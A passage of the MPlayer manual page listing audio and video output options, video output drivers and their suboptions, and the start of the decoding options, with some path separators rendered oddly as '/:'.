Produces no audio output but maintains video playback speed. Use -nosound for benchmarking.
pcm    
raw PCM/wave file writer audio output

(no)waveheader
Include or do not include the wave header (default: included). When not included, raw PCM will be generated.
file=<filename>
Write the sound to <filename> instead of the default audiodump.wav. If nowaveheader is specified, the default is audiodump.pcm.
fast 
Try to dump faster than realtime. Make sure the output does not get truncated (usually with “Too many video packets in buffer” message). It is normal that you get a “Your system is too SLOW to play this!” message.
plugin  
plugin audio output driver

VIDEO OUTPUT OPTIONS (MPLAYER ONLY)

-adapter <value>
Set the graphics card that will receive the image. You can get a list of available cards when you run this option with -v. Currently only works with the directx video output driver.
-bpp <depth>
Override the autodetected color depth. Only supported by the fbdev, dga, svga, vesa video output drivers.
-border
Play movie with window border and decorations. Since this is on by default, use -noborder to disable the standard window decorations. Supported by the directx video output driver.
-brightness <-100-100>
Adjust the brightness of the video signal (default: 0). Not supported by all video output drivers.
-contrast <-100-100>
Adjust the contrast of the video signal (default: 0). Not supported by all video output drivers.
-display <name> (X11 only)
Specify the hostname and display number of the X server you want to display on.EXAMPLE:

-display xtest.localdomain:0
-dr    
Turns on direct rendering (not supported by all codecs and video outputs)
WARNING: May cause OSD/SUB corruption!
-dxr2 <option1:option2:…>
This option is used to control the dxr2 video output driver.

ar-mode=<value>
aspect ratio mode (0 = normal, 1 = pan-and-scan, 2 = letterbox (default))
iec958-encoded
Set iec958 output mode to encoded.
iec958-decoded
Set iec958 output mode to decoded (default).
macrovision=<value>
macrovision mode (0 = off (default), 1 = agc, 2 = agc 2 colorstripe, 3 = agc 4 colorstripe)
mute 
mute sound output
unmute
unmute sound output
ucode=<value>
path to the microcode
TV output

75ire
enable 7.5 IRE output mode
no75ire
disable 7.5 IRE output mode (default)
bw   
b/w TV output
color
color TV output (default)
interlaced
interlaced TV output (default)
nointerlaced
disable interlaced TV output
norm=<value>
TV norm (ntsc (default), pal, pal60, palm, paln, palnc)
square-pixel
set pixel mode to square
ccir601-pixel
set pixel mode to ccir601
overlay

cr-left=<0-500>
Set the left cropping value (default: 50).
cr-right=<0-500>
Set the right cropping value (default: 300).
cr-top=<0-500>
Set the top cropping value (default: 0).
cr-bottom=<0-500>
Set the bottom cropping value (default: 0).
ck-[r|g|b]=<0-255>
Set the r(ed), g(reen) or b(lue) gain of the overlay color-key.
ck-[r|g|b]min=<0-255>
minimum value for the respective color key
ck-[r|g|b]max=<0-255>
maximum value for the respective color key
ignore-cache
Ignore cached overlay settings.
update-cache
Update cached overlay settings.
ol-osd
Enable overlay onscreen display.
nool-osd
Disable overlay onscreen display (default).
ol[h|w|x|y]-cor=<-20-20>
Adjust the overlay size (h,w) and position (x,y) in case it does not match the window perfectly (default: 0).
overlay
Activate overlay (default).
nooverlay
Activate TVout.
overlay-ratio=<1-2500>
Tune the overlay (default: 1000).
-fbmode <modename> (-vo fbdev only)
Change video mode to the one that is labeled as <modename> in /etc/:fb.modes.
NOTE: VESA framebuffer does not support mode changing.
-fbmodeconfig <filename> (-vo fbdev only)
Override framebuffer mode configuration file (default: /etc/:fb.modes).
-fs (also see -zoom)
Fullscreen playback (centers movie, and paints black bands around it). Not supported by all video output drivers.
-fsmode-dontuse <0-31> (OBSOLETE, use the -fs option)
Try this option if you still experience fullscreen problems.
-fstype <type1,type2,…> (X11 only)
Specify a priority list of fullscreen modes to be used. You can negate the modes by prefixing them with ‘-‘. If you experience problems like the fullscreen window being covered by other windows try using a different order.
NOTE: See -fstype help for a full list of available modes.The available types are:

above
Use the _NETWM_STATE_ABOVE hint if available.
below
Use the _NETWM_STATE_BELOW hint if available.
fullscreen
Use the _NETWM_STATE_FULLSCREEN hint if available.
layer
Use the _WIN_LAYER hint with the default layer.
layer=<0…15>
Use the _WIN_LAYER hint with the given layer number.
netwm
Force NETWM style.
none 
Do not set fullscreen window layer.
stays_on_top
Use _NETWM_STATE_STAYS_ON_TOP hint if available.
EXAMPLE:
layer,stays_on_top,above,fullscreen
Default order, will be used as a fallback if incorrect or unsupported modes are specified.
-fullscreen
Fixes fullscreen switching on OpenBox 1.x.
-geometry x[%][:y[%]] or [WxH][+x+y]
Adjust where the output is on the screen initially. The x and y specifications are in pixels measured from the top-left of the screen to the top-left of the image being displayed, however if a percentage sign is given after the argument it turns the value into a percentage of the screen size in that direction. It also supports the standard X11 -geometry option format. If an external window is specified using the -wid option, then the x and y coordinates are relative to the top-left corner of the window rather than the screen.
NOTE: This option is only supported by the x11, xmga, xv, xvmc, xvidix, gl, gl2, directx and tdfxfb video output drivers.EXAMPLE:

50:40
Places the window at x=50, y=40.
50%:50%
Places the window in the middle of the screen.
100% 
Places the window at the middle of the right edge of the screen.
100%:100%
Places the window at the bottom right corner of the screen.
-guiwid <window ID> (also see -wid) (GUI only)
This tells the GUI to also use an X11 window and stick itself to the bottom of the video, which is useful to embed a mini-GUI in a browser (with the MPlayer plugin for instance).
-hue <-100-100>
Adjust the hue of the video signal (default: 0). You can get a colored negative of the image with this option. Not supported by all video output drivers.
-monitor-dotclock <range[,range,…]> (-vo fbdev and vesa only)
Specify the dotclock or pixelclock range of the monitor.
-monitor-hfreq <range[,range,…]> (-vo fbdev and vesa only)
Specify the horizontal frequency range of the monitor.
-monitor-vfreq <range[,range,…]> (-vo fbdev and vesa only)
Specify the vertical frequency range of the monitor.
-monitoraspect <ratio> (also see -aspect)
Set the aspect ratio of your monitor or TV screen. A value of 0 disables a previous setting (e.g. in the config file). Overrides the -monitorpixelaspect setting if enabled.EXAMPLE:

-monitoraspect 4:3 or 1.3333
-monitoraspect 16:9 or 1.7777
-monitorpixelaspect <ratio> (also see -aspect)
Set the aspect of a single pixel of your monitor or TV screen (default: 1). A value of 1 means square pixels (correct for (almost?) all LCDs).
-nodouble
Disables double buffering, mostly for debugging purposes. Double buffering fixes flicker by storing two frames in memory, and displaying one while decoding another. It can affect OSD negatively, but often removes OSD flickering.
-nograbpointer
Do not grab the mouse pointer after a video mode change (-vm). Useful for multihead setups.
-nokeepaspect
Do not keep window aspect ratio when resizing windows. Only works with the x11, xv, xmga, xvidix, directx video output drivers. Furthermore under X11 your window manager has to honor window aspect hints.
-ontop 
Makes the player window stay on top of other windows. Supported by video output drivers which use X11, except SDL, as well as directx, macosx, quartz, ggi and gl2.
-panscan <0.0-1.0>
Enables pan-and-scan functionality (cropping the sides of e.g. a 16:9 movie to make it fit a 4:3 display without black bands). The range controls how much of the image is cropped. Only works with the xv, xmga, mga, gl, gl2, quartz, macosx and xvidix video output drivers.
NOTE: Values between -1 and 0 are allowed as well, but highly experimental and may crash or worse. Use at your own risk!
-panscanrange <-19.0-99.0> (experimental)
Change the range of the pan-and-scan functionality (default: 1). Positive values mean multiples of the default range. Negative numbers mean you can zoom in up to a factor of -panscanrange+1. E.g. -panscanrange -3 allows a zoom factor of up to 4. This feature is experimental. Do not report bugs unless you are using -vo gl.
-refreshrate <Hz>
Set the monitor refreshrate in Hz. Currently only supported by -vo directx combined with the -vm option.
-rootwin
Play movie in the root window (desktop background). Desktop background images may cover the movie window, though. Only works with the x11, xv, xmga, xvidix, quartz, macosx and directx video output drivers.
-saturation <-100-100>
Adjust the saturation of the video signal (default: 0). You can get grayscale output with this option. Not supported by all video output drivers.
-screenh <pixels>
Specify the vertical screen resolution for video output drivers which do not know the screen resolution like fbdev, x11 and TVout.
-screenw <pixels>
Specify the horizontal screen resolution for video output drivers which do not know the screen resolution like fbdev, x11 and TVout.
-stop-xscreensaver (X11 only)
Turns off xscreensaver at startup and turns it on again on exit.
-vm    
Try to change to a different video mode. Supported by the dga, x11, xv, sdl and directx video output drivers. If used with the directx video output driver the -screenw, -screenh, -bpp and -refreshrate options can be used to set the new display mode.
-vsync   
Enables VBI for the vesa, dfbmga and svga video output drivers.
-wid <window ID> (also see -guiwid) (X11, OpenGL and DirectX only)
This tells MPlayer to attach to an existing window. Useful to embed MPlayer in a browser (e.g. the plugger extension).
-xineramascreen <-2-…> (X11 only)
In Xinerama configurations (i.e. a single desktop that spans across multiple displays) this option tells MPlayer which screen to display the movie on. A value of -2 means fullscreen across the whole virtual display (in this case Xinerama information is completely ignored), -1 means fullscreen on the display the window currently is on. The initial position set via the -geometry option is relative to the specified screen. Will usually only work with “-fstype -fullscreen” or “-fstype none”.
-zrbw (-vo zr only)
Display in black and white. For optimal performance, this can be combined with ‘-lavdopts gray’.
-zrcrop <[width]x[height]+[x offset]+[y offset]> (-vo zr only)
Select a part of the input image to display, multiple occurrences of this option switch on cinerama mode. In cinerama mode the movie is distributed over more than one TV (or beamer) to create a larger image. Options appearing after the n-th -zrcrop apply to the n-th MJPEG card, each card should at least have a -zrdev in addition to the -zrcrop. For examples, see the output of -zrhelp and the Zr section of the documentation.
-zrdev <device> (-vo zr only)
Specify the device special file that belongs to your MJPEG card, by default the zr video output driver takes the first v4l device it can find.
-zrfd (-vo zr only)
Force decimation: Decimation, as specified by -zrhdec and -zrvdec, only happens if the hardware scaler can stretch the image to its original size. Use this option to force decimation.
-zrhdec <1|2|4> (-vo zr only)
Horizontal decimation: Ask the driver to send only every 2nd or 4th line/:pixel of the input image to the MJPEG card and use the scaler of the MJPEG card to stretch the image to its original size.
-zrhelp (-vo zr only)
Display a list of all -zr* options, their default values and a cinerama mode example.
-zrnorm <norm> (-vo zr only)
Specify the TV norm as PAL or NTSC (default: no change).
-zrquality <1-20> (-vo zr only)
A number from 1 (best) to 20 (worst) representing the JPEG encoding quality.
-zrvdec <1|2|4> (-vo zr only)
Vertical decimation: Ask the driver to send only every 2nd or 4th line/:pixel of the input image to the MJPEG card and use the scaler of the MJPEG card to stretch the image to its original size.
-zrxdoff <x display offset> (-vo zr only)
If the movie is smaller than the TV screen, this option specifies the x offset from the upper-left corner of the TV screen (default: centered).
-zrydoff <y display offset> (-vo zr only)
If the movie is smaller than the TV screen, this option specifies the y offset from the upper-left corner of the TV screen (default: centered).

VIDEO OUTPUT DRIVERS (MPLAYER ONLY)

Video output drivers are interfaces to different video output facilities. The syntax is:

-vo <driver1[:suboption1[=value]:…],driver2,…[,]>
Specify a priority list of video output drivers to be used.

If the list has a trailing ‘,’ MPlayer will fall back on drivers not contained in the list. Suboptions are optional and can mostly be omitted.
NOTE: See -vo help for a list of compiled-in video output drivers.

EXAMPLE:

-vo xmga,xv,
Try the Matrox X11 driver, then the Xv driver, then others.
-vo directx:noaccel
Uses the DirectX driver with acceleration features turned off.

Available video output drivers are:

xv (X11 only)
Uses the XVideo extension of XFree86 4.x to enable hardware accelerated playback. If you cannot use a hardware specific driver, this is probably the best option. For information about what colorkey is used and how it is drawn run MPlayer with -v option and look out for the lines tagged with [xv common] at the beginning.

port=<number>
Select a specific XVideo port.
ck=<cur|use|set>
Select the source from which the colorkey is taken (default: cur).

cur
The default takes the colorkey currently set in Xv.
use
Use but do not set the colorkey from MPlayer (use -colorkey option to change it).
set
Same as use but also sets the supplied colorkey.
ck-method=<man|bg|auto>
Sets the colorkey drawing method (default: man).

man
Draw the colorkey manually (reduces flicker in some cases).
bg
Set the colorkey as window background.
auto
Let Xv draw the colorkey.
x11 (X11 only)
Shared memory video output driver without hardware acceleration that works whenever X11 is present.
xover (X11 only)
Adds X11 support to all overlay based video output drivers. Currently only supported by tdfx_vid.

<vo_driver>
Select the driver to use as source to overlay on top of X11.
xvmc (X11 with -vc ffmpeg12mc only)
Video output driver that uses the XvMC (X Video Motion Compensation) extension of XFree86 4.x to speed up MPEG-1/2 and VCR2 decoding.

port=<number>
Select a specific XVideo port.
(no)benchmark
Disables image display. Necessary for proper benchmarking of drivers that change image buffers on monitor retrace only (nVidia). Default is not to disable image display (nobenchmark).
(no)bobdeint
Very simple deinterlacer. Might not look better than -vf tfields=1, but it is the only deinterlacer for xvmc (default: nobobdeint).
(no)queue
Queue frames for display to allow more parallel work of the video hardware. May add a small (not noticeable) constant A/V desync (default: noqueue).
(no)sleep
Use sleep function while waiting for rendering to finish (not recommended on Linux) (default: nosleep).
ck=cur|use|set
Same as -vo xv:ck (see -vo xv).
ck-method=man|bg|auto
Same as -vo xv:ck-method (see -vo xv).
dga (X11 only)
Play video through the XFree86 Direct Graphics Access extension. Considered obsolete.
sdl (SDL only)
Highly platform independent SDL (Simple Directmedia Layer) library video output driver. Since SDL uses its own X11 layer, MPlayer X11 options do not have any effect on SDL.

driver=<driver>
Explicitly choose the SDL driver to use.
(no)forcexv
Use XVideo through the sdl video output driver (default: forcexv).
(no)hwaccel
Use hardware accelerated scaler (default: hwaccel).
vidix  
VIDIX (VIDeo Interface for *niX) is an interface to the video acceleration features of different graphics cards. Very fast video output driver on cards that support it.

<subdevice>
Explicitly choose the VIDIX subdevice driver to use. Available subdevice drivers are cyberblade, mach64, mga_crtc2, mga, nvidia, pm2, pm3, radeon, rage128, sis_vid and unichrome.
xvidix (X11 only)
X11 frontend for VIDIX

<subdevice>
same as vidix
cvidix 
Generic and platform independent VIDIX frontend, can even run in a text console with nVidia cards.

<subdevice>
same as vidix
winvidix (Windows only)
Windows frontend for VIDIX

<subdevice>
same as vidix
directx (Windows only)
Video output driver that uses the DirectX interface.

noaccel
Turns off hardware acceleration. Try this option if you have display problems.
quartz (Mac OS X only)
Mac OS X Quartz video output driver. Under some circumstances, it might be more efficient to force a packed YUV output format, with e.g. -vf format=yuy2.

device_id=<number>
Choose the display device to use in fullscreen.
fs_res=<width>:<height>
Specify the fullscreen resolution (useful on slow systems).
macosx (Mac OS X 10.4 or 10.3.9 with QuickTime 7)
Mac OS X CoreVideo video output driver

device_id=<number>
Choose the display device to use in fullscreen.
fbdev (Linux only)
Uses the kernel framebuffer to play video.

<device>
Explicitly choose the fbdev device name to use (e.g. /dev/:fb0) or the name of the VIDIX subdevice if the device name starts with ‘vidix’ (e.g. ‘vidixsis_vid’ for the sis driver).
fbdev2 (Linux only)
Uses the kernel framebuffer to play video, alternative implementation.

<device>
Explicitly choose the fbdev device name to use (default: /dev/:fb0).
vesa   
Very general video output driver that should work on any VESA VBE 2.0 compatible card.

(no)dga
Turns DGA mode on or off (default: on).
neotv_pal
Activate the NeoMagic TV out and set it to PAL norm.
neotv_ntsc
Activate the NeoMagic TV out and set it to NTSC norm.
vidix
Use the VIDIX driver.
lvo:   
Activate the Linux Video Overlay on top of VESA mode.
svga   
Play video using the SVGA library.

<video mode>
Specify video mode to use. The mode can be given in a <width>x<height>x<colors> format, e.g. 640x480x16M or be a graphics mode number, e.g. 84.
bbosd
Draw OSD into black bands below the movie (slower).
native
Use only native drawing functions. This avoids direct rendering, OSD and hardware acceleration.
retrace
Force frame switch on vertical retrace. Usable only with -double. It has the same effect as the -vsync option.
sq   
Try to select a video mode with square pixels.
vidix
Use svga with VIDIX.
gl     
OpenGL video output driver, simple version. Video size must be smaller than the maximum texture size of your OpenGL implementation. Intended to work even with the most basic OpenGL implementations, but also makes use of newer extensions, which allow support for more colorspaces and direct rendering. Please use -dr if it works with your OpenGL implementation, since for higher resolutions this provides a big speedup. The code performs very few checks, so if a feature does not work, this might be because it is not supported by your card/OpenGL implementation even if you do not get any error message. Use glxinfo or a similar tool to display the supported OpenGL extensions.

(no)scaled-osd
Changes the way the OSD behaves when the size of the window changes (default: disabled). When enabled behaves more like the other video output drivers, which is better for fixed-size fonts. Disabled looks much better with FreeType fonts and uses the borders in fullscreen mode. Does not work correctly with ass subtitles (see -ass), you can instead render them without OpenGL support via -vf ass.
osdcolor=<0xRRGGBB>
Color for OSD (default: 0xffffff, corresponds to white).
rectangle=<0,1,2>
Select usage of rectangular textures which saves video RAM, but often is slower (default: 0).

0: Use power-of-two textures (default).
1: Use the GL_ARB_texture_rectangle extension.
2: Use the GL_ARB_texture_non_power_of_two extension. In some cases only supported in software and thus very slow.
swapinterval=<n>
Minimum interval between two buffer swaps, counted in displayed frames (default: 1). 1 is equivalent to enabling VSYNC, 0 to disabling VSYNC. Values below 0 will leave it at the system default. This limits the framerate to (horizontal refresh rate / n). Requires GLX_SGI_swap_control support to work. With some (most/all?) implementations this only works in fullscreen mode.
yuv=<n>
Select the type of YUV to RGB conversion.

0: Use software conversion (default). Compatible with all OpenGL versions. Provides brightness, contrast and saturation control.
1: Use register combiners. This uses an nVidia-specific extension (GL_NV_register_combiners). At least three texture units are needed. Provides saturation and hue control. This method is fast but inexact.
2: Use a fragment program. Needs the GL_ARB_fragment_program extension and at least three texture units. Provides brightness, contrast, saturation and hue control.
3: Use a fragment program using the POW instruction. Needs the GL_ARB_fragment_program extension and at least three texture units. Provides brightness, contrast, saturation, hue and gamma control. Gamma can also be set independently for red, green and blue. Method 4 is usually faster.
4: Use a fragment program with additional lookup. Needs the GL_ARB_fragment_program extension and at least four texture units. Provides brightness, contrast, saturation, hue and gamma control. Gamma can also be set independently for red, green and blue.
5: Use ATI-specific method (for older cards). This uses an ATI-specific extension (GL_ATI_fragment_shader – not GL_ARB_fragment_shader!). At least three texture units are needed. Provides saturation and hue control. This method is fast but inexact.
6: Use a 3D texture to do conversion via lookup. Needs the GL_ARB_fragment_program extension and at least four texture units. Extremely slow (software emulation) on some (all?) ATI cards since it uses a texture with border pixels. Provides brightness, contrast, saturation, hue and gamma control. Gamma can also be set independently for red, green and blue. Speed depends more on GPU memory bandwidth than other methods.
lscale=<n>
Select the scaling function to use for luminance scaling. Only valid for yuv modes 2, 3, 4 and 6.

0: Use simple linear filtering (default).
1: Use bicubic filtering (better quality). Needs one additional texture unit. Older cards will not be able to handle this for chroma at least in fullscreen mode.
2: Use cubic filtering in horizontal, linear filtering in vertical direction. Works on a few more cards than method 1.
cscale=<n>
Select the scaling function to use for chrominance scaling. For details see lscale.
customprog=<filename>
Load a custom fragment program from <filename>. See TOOLS/edgedect.fp for an example.
customtex=<filename>
Load a custom “gamma ramp” texture from <filename>. This can be used in combination with yuv=4 or with the customprog option.
(no)customtlin
If enabled (default) use GL_LINEAR interpolation, otherwise use GL_NEAREST for customtex texture.
(no)customtrect
If enabled, use texture_rectangle for customtex texture. Default is disabled.
Normally there is no reason to use the following options, they mostly exist for testing purposes.
(no)glfinish
Call glFinish() before swapping buffers. Slower but in some cases more correct output (default: disabled).
(no)manyfmts
Enables support for more (RGB and BGR) color formats (default: enabled). Needs OpenGL version >= 1.2.
slice-height=<0-…>
Number of lines copied to texture in one piece (default: 0). 0 for whole image.
NOTE: If YUV colorspace is used (see yuv suboption), special rules apply:

If the decoder uses slice rendering (see -noslices), this setting has no effect, the size of the slices as provided by the decoder is used.
If the decoder does not use slice rendering, the default is 16.
(no)osd
Enable or disable support for OSD rendering via OpenGL (default: enabled). This option is for testing; to disable the OSD use -osdlevel 0 instead.
(no)aspect
Enable or disable aspect scaling and pan-and-scan support (default: enabled). Disabling might increase speed.
gl2    
OpenGL video output driver, second generation. Supports OSD and videos larger than the maximum texture size.

(no)glfinish
same as gl (default: enabled)
yuv=<n>
Select the type of YUV to RGB conversion. If set to anything except 0 OSD will be disabled and brightness, contrast and gamma setting is only available via the global X server settings. Apart from this the values have the same meaning as for -vo gl.
null   
Produces no video output. Useful for benchmarking.
aa     
ASCII art video output driver that works on a text console.
caca   
Color ASCII art video output driver that works on a text console.
bl     
Video playback using the Blinkenlights UDP protocol. This driver is highly hardware specific.

<subdevice>
Explicitly choose the Blinkenlights subdevice driver to use. It is something like arcade:host=localhost:2323 or hdl:file=name1,file=name2. You must specify a subdevice.
ggi    
GGI graphics system video output driver

<driver>
Explicitly choose the GGI driver to use. Replace any ‘,’ that would appear in the driver string by a ‘.’.
directfb
Play video using the DirectFB library.

(no)input
Use the DirectFB instead of the MPlayer keyboard code (default: enabled).
buffermode=single|double|triple
Double and triple buffering give best results if you want to avoid tearing issues. Triple buffering is more efficient than double buffering as it does not block MPlayer while waiting for the vertical retrace. Single buffering should be avoided (default: single).
fieldparity=top|bottom
Control the output order for interlaced frames (default: disabled). Valid values are top = top fields first, bottom = bottom fields first. This option does not have any effect on progressive film material like most MPEG movies are. You need to enable this option if you have tearing issues or unsmooth motions watching interlaced film material.
layer=N
Will force layer with ID N for playback (default: -1 – auto).
dfbopts=<list>
Specify a parameter list for DirectFB.
dfbmga 
Matrox G400/:G450/:G550 specific video output driver that uses the DirectFB library to make use of special hardware features. Enables CRTC2 (second head), displaying video independently of the first head.

(no)input
same as directfb (default: disabled)
buffermode=single|double|triple
same as directfb (default: triple)
fieldparity=top|bottom
same as directfb
(no)bes
Enable the use of the Matrox BES (backend scaler) (default: disabled). Gives very good results concerning speed and output quality as interpolated picture processing is done in hardware. Works only on the primary head.
(no)spic
Make use of the Matrox sub picture layer to display the OSD (default: enabled).
(no)crtc2
Turn on TV-out on the second head (default: enabled). The output quality is amazing as it is a full interlaced picture with proper sync to every odd/:even field.
tvnorm=pal|ntsc|auto
Will set the TV norm of the Matrox card without the need for modifying /etc/:directfbrc (default: disabled). Valid norms are pal = PAL, ntsc = NTSC. Special norm is auto (auto-adjust using PAL/:NTSC) because it decides which norm to use by looking at the framerate of the movie.
mga (Linux only)
Matrox specific video output driver that makes use of the YUV back end scaler on Gxxx cards through a kernel module. If you have a Matrox card, this is the fastest option.

<device>
Explicitly choose the Matrox device name to use (default: /dev/:mga_vid).
xmga (Linux, X11 only)
The mga video output driver, running in an X11 window.

<device>
Explicitly choose the Matrox device name to use (default: /dev/:mga_vid).
s3fb (Linux only) (see also -vf yuv2 and -dr)
S3 Virge specific video output driver. This driver supports the card’s YUV conversion and scaling, double buffering and direct rendering features. Use -vf yuy2 to get hardware-accelerated YUY2 rendering, which is much faster than YV12 on this card.

<device>
Explicitly choose the fbdev device name to use (default: /dev/:fb0).
3dfx (Linux only)
3dfx-specific video output driver that directly uses the hardware on top of X11. Only 16 bpp are supported.
tdfxfb (Linux only)
This driver employs the tdfxfb framebuffer driver to play movies with YUV acceleration on 3dfx cards.

<device>
Explicitly choose the fbdev device name to use (default: /dev/:fb0).
tdfx_vid (Linux only)
3dfx-specific video output driver that works in combination with the tdfx_vid kernel module.

<device>
Explicitly choose the device name to use (default: /dev/:tdfx_vid).
dxr2 (also see -dxr2) (DXR2 only)
Creative DXR2 specific video output driver.

<vo_driver>
Output video subdriver to use as overlay (x11, xv).
dxr3 (DXR3 only)
Sigma Designs em8300 MPEG decoder chip (Creative DXR3, Sigma Designs Hollywood Plus) specific video output driver. Also see the lavc video filter.

overlay
Activates the overlay instead of TVOut.
prebuf
Turns on prebuffering.
sync 
Will turn on the new sync-engine.
norm=<norm>
Specifies the TV norm.

0: Does not change current norm (default).
1: Auto-adjust using PAL/:NTSC.
2: Auto-adjust using PAL/:PAL-60.
3: PAL
4: PAL-60
5: NTSC
<0-3>
Specifies the device number to use if you have more than one em8300 card.
ivtv (IVTV only)
Conexant CX23415 (iCompression iTVC15) or Conexant CX23416 (iCompression iTVC16) MPEG decoder chip (Hauppauge WinTV PVR-150/250/350/500) specific video output driver for TV-Out. Also see the lavc video filter.

device
Explicitly choose the MPEG decoder device name to use (default: /dev/video16).
output
Explicitly choose the TV-Out output to be used for the video signal.
v4l2 (requires Linux 2.6.22+ kernel)
Video output driver for V4L2 compliant cards with built-in hardware MPEG decoder. Also see the lavc video filter.

device
Explicitly choose the MPEG decoder device name to use (default: /dev/video16).
output
Explicitly choose the TV-Out output to be used for the video signal.
mpegpes (DVB only)
Video output driver for DVB cards that writes the output to an MPEG-PES file if no DVB card is installed.

card=<1-4>
Specifies the device number to use if you have more than one DVB output card (V3 API only, such as 1.x.y series drivers).
<filename>
output filename (default: ./grab.mpg)
zr (also see -zr* and -zrhelp)
Video output driver for a number of MJPEG capture/:playback cards.
zr2 (also see the zrmjpeg video filter)
Video output driver for a number of MJPEG capture/:playback cards, second generation.

dev=<device>
Specifies the video device to use.
norm=<PAL|NTSC|SECAM|auto>
Specifies the video norm to use (default: auto).
(no)prebuf
(De)Activate prebuffering, not yet supported.
md5sum 
Calculate MD5 sums of each frame and write them to a file. Supports RGB24 and YV12 colorspaces. Useful for debugging.

outfile=<value>
Specify the output filename (default: ./md5sums).
yuv4mpeg
Transforms the video stream into a sequence of uncompressed YUV 4:2:0 images and stores it in a file (default: ./stream.yuv). The format is the same as the one employed by mjpegtools, so this is useful if you want to process the video with the mjpegtools suite. It supports the YV12, RGB (24 bpp) and BGR (24 bpp) format. You can combine it with the -fixed-vo option to concatenate files with the same dimensions and fps value.

interlaced
Write the output as interlaced frames, top field first.
interlaced_bf
Write the output as interlaced frames, bottom field first.
file=<filename>
Write the output to <filename> instead of the default stream.yuv.
NOTE: If you do not specify any option the output is progressive (i.e. not interlaced).

gif89a 
Output each frame into a single animated GIF file in the current directory. It supports only RGB format with 24 bpp and the output is converted to 256 colors.

<fps>
Float value to specify framerate (default: 5.0).
<output>
Specify the output filename (default: ./out.gif).
NOTE: You must specify the framerate before the filename or the framerate will be part of the filename.

EXAMPLE:

mplayer video.nut -vo gif89a:fps=15:output=test.gif
jpeg   
Output each frame into a JPEG file in the current directory. Each file takes the frame number padded with leading zeros as name.

[no]progressive
Specify standard or progressive JPEG (default: noprogressive).
[no]baseline
Specify use of baseline or not (default: baseline).
optimize=<0-100>
optimization factor (default: 100)
smooth=<0-100>
smooth factor (default: 0)
quality=<0-100>
quality factor (default: 75)
outdir=<dirname>
Specify the directory to save the JPEG files to (default: ./).
subdirs=<prefix>
Create numbered subdirectories with the specified prefix to save the files in instead of the current directory.
maxfiles=<value> (subdirs only)
Maximum number of files to be saved per subdirectory. Must be equal to or larger than 1 (default: 1000).
pnm    
Output each frame into a PNM file in the current directory. Each file takes the frame number padded with leading zeros as name. It supports PPM, PGM and PGMYUV files in both raw and ASCII mode. Also see pnm(5), ppm(5) and pgm(5).

ppm  
Write PPM files (default).
pgm  
Write PGM files.
pgmyuv
Write PGMYUV files. PGMYUV is like PGM, but it also contains the U and V plane, appended at the bottom of the picture.
raw  
Write PNM files in raw mode (default).
ascii
Write PNM files in ASCII mode.
outdir=<dirname>
Specify the directory to save the PNM files to (default: ./).
subdirs=<prefix>
Create numbered subdirectories with the specified prefix to save the files in instead of the current directory.
maxfiles=<value> (subdirs only)
Maximum number of files to be saved per subdirectory. Must be equal to or larger than 1 (default: 1000).
png    
Output each frame into a PNG file in the current directory. Each file takes the frame number padded with leading zeros as name. 24bpp RGB and BGR formats are supported.

z=<0-9>
Specifies the compression level. 0 is no compression, 9 is maximum compression.
tga    
Output each frame into a Targa file in the current directory. Each file takes the frame number padded with leading zeros as name. The purpose of this video output driver is to have a simple lossless image writer to use without any external library. It supports the BGR[A] color format, with 15, 24 and 32 bpp. You can force a particular format with the format video filter.EXAMPLE:

mplayer video.nut -vf format=bgr15 -vo tga

DECODING/FILTERING OPTIONS

-ac <[-|+]codec1,[-|+]codec2,…[,]>
Specify a priority list of audio codecs to be used, according to their codec name in codecs.conf. Use a ‘-‘ before the codec name to omit it. Use a ‘+’ before the codec name to force it, this will likely crash! If the list has a trailing ‘,’ MPlayer will fall back on codecs not contained in the list.
NOTE: See -ac help for a full list of available codecs.EXAMPLE:

-ac mp3acm
Force the l3codeca.acm MP3 codec.
-ac mad,
Try libmad first, then fall back on others.
-ac hwac3,a52,
Try hardware AC-3 passthrough, software AC-3, then others.
-ac hwdts,
Try hardware DTS passthrough, then fall back on others.
-ac -ffmp3,
Skip FFmpeg’s MP3 decoder.
-af-adv <force=(0-7):list=(filters)> (also see -af)
Specify advanced audio filter options:

force=<0-7>
Forces the insertion of audio filters to one of the following:

0: Use completely automatic filter insertion.
1: Optimize for accuracy (default).
2: Optimize for speed. Warning: Some features in the audio filters may silently fail, and the sound quality may drop.
3: Use no automatic insertion of filters and no optimization. Warning: It may be possible to crash MPlayer using this setting.
4: Use automatic insertion of filters according to 0 above, but use floating point processing when possible.
5: Use automatic insertion of filters according to 1 above, but use floating point processing when possible.
6: Use automatic insertion of filters according to 2 above, but use floating point processing when possible.
7: Use no automatic insertion of filters according to 3 above, and use floating point processing when possible.
list=<filters>
Same as -af.
-afm <driver1,driver2,…>
Specify a priority list of audio codec families to be used, according to their codec name in codecs.conf. Falls back on the default codecs if none of the given codec families work.
NOTE: See -afm help for a full list of available codec families.EXAMPLE:

-afm ffmpeg
Try FFmpeg’s libavcodec codecs first.
-afm acm,dshow
Try Win32 codecs first.
-aspect <ratio> (also see -zoom)
Override movie aspect ratio, in case aspect information is incorrect or missing in the file being played.EXAMPLE:

-aspect 4:3 or -aspect 1.3333
-aspect 16:9 or -aspect 1.7777
-noaspect
Disable automatic movie aspect ratio compensation.
-field-dominance <-1-1>
Set first field for interlaced content. Useful for deinterlacers that double the framerate: -vf tfields=1, -vf yadif=1 and -vo xvmc:bobdeint.

-1
auto (default): If the decoder does not export the appropriate information, it falls back to 0 (top field first).
0
top field first
1
bottom field first
-flip  
Flip image upside-down.
-lavdopts <option1:option2:…> (DEBUG CODE)
Specify libavcodec decoding parameters. Separate multiple options with a colon.EXAMPLE:

-lavdopts gray:skiploopfilter=all:skipframe=nonref
Available options are:
bitexact
Only use bit-exact algorithms in all decoding steps (for codec testing).
bug=<value>
Manually work around encoder bugs.

0: nothing
1: autodetect bugs (default)
2 (msmpeg4v3): some old lavc generated msmpeg4v3 files (no autodetection)
4 (mpeg4): Xvid interlacing bug (autodetected if fourcc==XVIX)
8 (mpeg4): UMP4 (autodetected if fourcc==UMP4)
16 (mpeg4): padding bug (autodetected)
32 (mpeg4): illegal vlc bug (autodetected per fourcc)
64 (mpeg4): Xvid and DivX qpel bug (autodetected per fourcc/:version)
128 (mpeg4): old standard qpel (autodetected per fourcc/:version)
256 (mpeg4): another qpel bug (autodetected per fourcc/:version)
512 (mpeg4): direct-qpel-blocksize bug (autodetected per fourcc/:version)
1024 (mpeg4): edge padding bug (autodetected per fourcc/:version)
debug=<value>
Display debugging information.

0: disabled
1: picture info
2: rate control
4: bitstream
8: macroblock (MB) type
16: per-block quantization parameter (QP)
32: motion vector
